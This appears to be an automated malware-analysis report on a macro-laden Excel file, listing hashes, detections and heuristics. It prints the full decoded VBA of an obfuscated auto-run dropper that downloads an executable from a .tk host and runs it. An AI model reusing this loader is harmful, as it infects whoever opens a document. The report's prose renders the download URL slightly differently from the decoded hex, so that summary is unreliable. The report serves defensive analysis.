Office (OOXML) malware analysis — malicious · 2c2027c74d70fdfe

MALICIOUS

Office (OOXML)

117.6 KB First seen: 2020-09-07

MD5: a8692480841427a8e0dafe30fb677f94 SHA-1: a9b991b5ab0dff2bbb26522a23183f4a77941e7c SHA-256: 2c2027c74d70fdfea03c69dd403a4ab7e3fa4202ef728e4d0e2c232bff15ea79

310 Risk Score

Malware Insights

MITRE ATT&CK

T1059.005 Visual Basic T1105 Ingress Tool Transfer T1204.002 Malicious File

The sample is an Office document containing obfuscated VBA macros. The Workbook_Open macro is designed to execute automatically, and it uses CreateObject to instantiate an object that downloads a file from the URL 'http://reokaty-71.tk/sql/lersed.exe'. This downloaded file is then likely executed, indicating a dropper functionality.

Heuristics 7

ClamAV: Xls.Dropper.EPPlus-9802867-2 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Xls.Dropper.EPPlus-9802867-2
VBA project inside OOXML medium 4 related findings OOXML_VBA

Document contains a VBA project — VBA macros present
VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC

VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
Matched line in script
```
qllaqhnceaopyyqhdnrkrhhwjylylzmacapfsqzxppqgibyrimybtfojeprswprfnomyikonotucqanhztpybkgwlgbdyhaaylsu.write pcdfywlgkcjfvrwywdkyuqvxaqkrcoozchwxcugfxtgdquzgamjlhgbzgfehmuevojdnuzvbxebbkrggreqqedsvgxqxqztcpkpg.responseBody
```
Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER

Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
Matched line in script
```
  Range("A6:J13").Select
Set pcdfywlgkcjfvrwywdkyuqvxaqkrcoozchwxcugfxtgdquzgamjlhgbzgfehmuevojdnuzvbxebbkrggreqqedsvgxqxqztcpkpg = CreateObject(ojgyzfuqpfzasaqtmsxunxdnjdzyycyjkvqbgrdhtszlptdfsf("4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50"))
```

CreateObject call high OLE_VBA_CREATEOBJ

CreateObject call

Matched line in script

  Range("A6:J13").Select
Set pcdfywlgkcjfvrwywdkyuqvxaqkrcoozchwxcugfxtgdquzgamjlhgbzgfehmuevojdnuzvbxebbkrggreqqedsvgxqxqztcpkpg = CreateObject(ojgyzfuqpfzasaqtmsxunxdnjdzyycyjkvqbgrdhtszlptdfsf("4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50"))

Workbook_Open macro low OLE_VBA_WBOPEN

Workbook_Open macro
Matched line in script
```
Private Sub Workbook_Open()
```
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source from OOXML)	6596 bytes
SHA-256: `c36eb5028ea0660d1dc4be2aae2c63de14608706ede3e912977a1a9ec31383ba`
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "ThisWorkbook" Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = False Attribute VB_TemplateDerived = False Attribute VB_Customizable = True Private Sub Workbook_Open() Range("A6:J13").Select rlblrbtzgxtnznbsqscsmvgggpvrdwpwbelyslkfwfxbdbeibzkcnmmwevfbgcwkhxmucdafhwwhxecflmpdmnjprptwfiyujntg"68 74 74 70 3A 2F 2F 72 65 6F 6B 61 79 74 79 2D 37 31 2E 74 6B 2F 73 71 6C 2F 6C 65 72 73 65 64 66 2E 65 78 65" Selection.Font.ColorIndex = 3 End Sub Public Sub rlblrbtzgxtnznbsqscsmvgggpvrdwpwbelyslkfwfxbdbeibzkcnmmwevfbgcwkhxmucdafhwwhxecflmpdmnjprptwfiyujntg (yhtoblexvqndpznekhbycxuukehhohiswnbntbtodyfnqxebgjfztfganzewexjnhuhcyakiomuerhdmzfafcizqgazuxxkgpsfw As String) Dim pcdfywlgkcjfvrwywdkyuqvxaqkrcoozchwxcugfxtgdquzgamjlhgbzgfehmuevojdnuzvbxebbkrggreqqedsvgxqxqztcpkpg Range("A6:J13").Select Dim qllaqhnceaopyyqhdnrkrhhwjylylzmacapfsqzxppqgibyrimybtfojeprswprfnomyikonotucqanhztpybkgwlgbdyhaaylsu Range("A6:J13").Select Dim oajyxkmzkmsdbjtcasdcipncjkphsuefittzkraqyhlyoxconyzfhpmymhpnufgqhnvhqtsjsneadoolibtuuzxshumdcnwsavqa Range("A6:J13").Select Set pcdfywlgkcjfvrwywdkyuqvxaqkrcoozchwxcugfxtgdquzgamjlhgbzgfehmuevojdnuzvbxebbkrggreqqedsvgxqxqztcpkpg = CreateObject(ojgyzfuqpfzasaqtmsxunxdnjdzyycyjkvqbgrdhtszlptdfsf("4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50")) Range("A6:J13").Select Set pcdfywlgkcjfvrwywdkyuqvxaqkrcoozchwxcugfxtgdquzgamjlhgbzgfehmuevojdnuzvbxebbkrggreqqedsvgxqxqztcpkpg = CreateObject(ojgyzfuqpfzasaqtmsxunxdnjdzyycyjkvqbgrdhtszlptdfsf("4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50")) Set pcdfywlgkcjfvrwywdkyuqvxaqkrcoozchwxcugfxtgdquzgamjlhgbzgfehmuevojdnuzvbxebbkrggreqqedsvgxqxqztcpkpg = CreateObject(ojgyzfuqpfzasaqtmsxunxdnjdzyycyjkvqbgrdhtszlptdfsf("4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50")) Set pcdfywlgkcjfvrwywdkyuqvxaqkrcoozchwxcugfxtgdquzgamjlhgbzgfehmuevojdnuzvbxebbkrggreqqedsvgxqxqztcpkpg = CreateObject(ojgyzfuqpfzasaqtmsxunxdnjdzyycyjkvqbgrdhtszlptdfsf("4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50")) Set qllaqhnceaopyyqhdnrkrhhwjylylzmacapfsqzxppqgibyrimybtfojeprswprfnomyikonotucqanhztpybkgwlgbdyhaaylsu = CreateObject(ojgyzfuqpfzasaqtmsxunxdnjdzyycyjkvqbgrdhtszlptdfsf("41 44 4f 44 42 2e 53 74 72 65 61 6d")) Set oajyxkmzkmsdbjtcasdcipncjkphsuefittzkraqyhlyoxconyzfhpmymhpnufgqhnvhqtsjsneadoolibtuuzxshumdcnwsavqa = CreateObject(ojgyzfuqpfzasaqtmsxunxdnjdzyycyjkvqbgrdhtszlptdfsf("57 53 63 72 69 70 74 2e 53 68 65 6c 6c")) nuyphckppxgirlrnypvdjdguoyfcrzspwrwfjqktouodkjelngtxpskkodbjxixpfqmzomehfboppdketuplguadgmqfpbvgwyxt = ojgyzfuqpfzasaqtmsxunxdnjdzyycyjkvqbgrdhtszlptdfsf(yhtoblexvqndpznekhbycxuukehhohiswnbntbtodyfnqxebgjfztfganzewexjnhuhcyakiomuerhdmzfafcizqgazuxxkgpsfw) xewaclsnevvltwqdsmjkqiscvyseghsqfqhoxoiubnzlqfltksokondpmtfdtohwdegdpbfddojcihlpnztnthcsmrcejfbngchm = ojgyzfuqpfzasaqtmsxunxdnjdzyycyjkvqbgrdhtszlptdfsf("43 3a 5c 55 73 65 72 73 5c 50 75 62 6c 69 63 5c 68 71 71 7A 74 71 67 73 6F 2e 65 78 65") zidjnkhzeagehpquvtdvcnqxyatynvwgzzqfvjaiacomlywupgrnymklrgkmrimieaeizkzltvvzzemaezjgejhnoenoznrrqfhk = ojgyzfuqpfzasaqtmsxunxdnjdzyycyjkvqbgrdhtszlptdfsf("43 3a 5c 55 73 65 72 73 5c 50 75 62 6c 69 63 5c 68 71 71 7A 74 71 67 73 6F 2e 65 78 65") pcdfywlgkcjfvrwywdkyuqvxaqkrcoozchwxcugfxtgdquzgamjlhgbzgfehmuevojdnuzvbxebbkrggreqqedsvgxqxqztcpkpg.Open chr(71) + chr(69) + chr(84), nuyphckppxgirlrnypvdjdguoyfcrzspwrwfjqktouodkjelngtxpskkodbjxixpfqmzomehfboppdketuplguadgmqfpbvgwyxt, False pcdfywlgkcjfvrwywdkyuqvxaqkrcoozchwxcugfxtgdquzgamjlhgbzgfehmuevojdnuzvbxebbkrggreqqedsvgxqxqztcpkpg.send qllaqhnceaopyyqhdnrkrhhwjylylzmacapfsqzxppqgibyrimybtfojeprswprfnomyikonotucqanhztpybkgwlgbdyhaaylsu.Type = 1 qllaqhnceaopyyqhdnrkrhhwjylylzmacapfsqzxppqgibyrimybtfojeprswprfnomyikonotucqanhztpybkgwlgbdyhaaylsu.Open qllaqhnceaopyyqhdnrkrhhwjylylzmacapfsqzxppqgibyrimybtfojeprswprfnomyikonotucqanhztpybkgwlgbdyhaaylsu.write pcdfywlgkcjfvrwywdkyuqvxaqkrcoozchwxcugfxtgdquzgamjlhgbzgfehmuevojdnuzvbxebbkrggreqqedsvgxqxqztcpkpg.responseBody qllaqhnceaopyyqhdnrkrhhwjylylzmacapfsqzxppqgibyrimybtfojeprswprfnomyikonotucqanhztpybkgwlgbdyhaaylsu.savetofile xewaclsnevvltwqdsmjkqiscvyseghsqfqhoxoiubnzlqfltksokondpmtfdtohwdegdpbfddojcihlpnztnthcsmrcejfbngchm, 2 oajyxkmzkmsdbjtcasdcipncjkphsuefittzkraqyhlyoxconyzfhpmymhpnufgqhnvhqtsjsneadoolibtuuzxshumdcnwsavqa.Run zidjnkhzeagehpquvtdvcnqxyatynvwgzzqfvjaiacomlywupgrnymklrgkmrimieaeizkzltvvzzemaezjgejhnoenoznrrqfhk End Sub Public Function ojgyzfuqpfzasaqtmsxunxdnjdzyycyjkvqbgrdhtszlptdfsf(ByVal cuxugqnukluytdetlmvipcawhpheqmzixnjodzoemciwaojyjcgozilaubmrjidylmaguqpmxrwnudwtfivoflipbiucmxudyjln As String) As String Dim odesmurilyfqftlbnptadkelvnzaxtoksiebecbluaddcextltqjqkkdzsxzuqlskuxwokxknhgcgairqgodceuhxbblfcqdplth As String Dim gaebwfwiehwzkfjnbhpfapymilflqcnvgakpcnhximdqfbbztdbivohrbrskakrbtbtjutlozsxnmihhkfrnbfzsstokvwxxvbwe As String Dim irfarnidquetjkzutdaobbqbeasdvzrlldytarvowvbyouakwcesbhchaevrufiqcthgmgubhlrfasmjzhgsvzkearswwetrnkvu As Long For irfarnidquetjkzutdaobbqbeasdvzrlldytarvowvbyouakwcesbhchaevrufiqcthgmgubhlrfasmjzhgsvzkearswwetrnkvu = 1 To Len(cuxugqnukluytdetlmvipcawhpheqmzixnjodzoemciwaojyjcgozilaubmrjidylmaguqpmxrwnudwtfivoflipbiucmxudyjln)Step 3 odesmurilyfqftlbnptadkelvnzaxtoksiebecbluaddcextltqjqkkdzsxzuqlskuxwokxknhgcgairqgodceuhxbblfcqdplth = Chr$(Val("&H" & Mid$(cuxugqnukluytdetlmvipcawhpheqmzixnjodzoemciwaojyjcgozilaubmrjidylmaguqpmxrwnudwtfivoflipbiucmxudyjln, irfarnidquetjkzutdaobbqbeasdvzrlldytarvowvbyouakwcesbhchaevrufiqcthgmgubhlrfasmjzhgsvzkearswwetrnkvu, 2))) gaebwfwiehwzkfjnbhpfapymilflqcnvgakpcnhximdqfbbztdbivohrbrskakrbtbtjutlozsxnmihhkfrnbfzsstokvwxxvbwe = gaebwfwiehwzkfjnbhpfapymilflqcnvgakpcnhximdqfbbztdbivohrbrskakrbtbtjutlozsxnmihhkfrnbfzsstokvwxxvbwe & odesmurilyfqftlbnptadkelvnzaxtoksiebecbluaddcextltqjqkkdzsxzuqlskuxwokxknhgcgairqgodceuhxbblfcqdplth Next irfarnidquetjkzutdaobbqbeasdvzrlldytarvowvbyouakwcesbhchaevrufiqcthgmgubhlrfasmjzhgsvzkearswwetrnkvu ojgyzfuqpfzasaqtmsxunxdnjdzyycyjkvqbgrdhtszlptdfsf = gaebwfwiehwzkfjnbhpfapymilflqcnvgakpcnhximdqfbbztdbivohrbrskakrbtbtjutlozsxnmihhkfrnbfzsstokvwxxvbwe End Function Attribute VB_Name = "tnuehgtdrlmnujirzfevtruvx" Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = False Attribute VB_TemplateDerived = False Attribute VB_Customizable = True
`vbaProject_00.bin`	vba-project	OOXML VBA project: xl/vbaProject.bin	7680 bytes
SHA-256: `8a5a52e40e051354fe38ec592d01ae8bb949b81504146bc1a15c5304316290a1`
Detection ClamAV: Xls.Dropper.EPPlus-9802867-2 Obfuscation or payload: likely 137 of 229 identifiers look randomly generated (e.g. 'tnuehgtdrlmnujirzfevtruvx') — consistent with name-mangling obfuscation.

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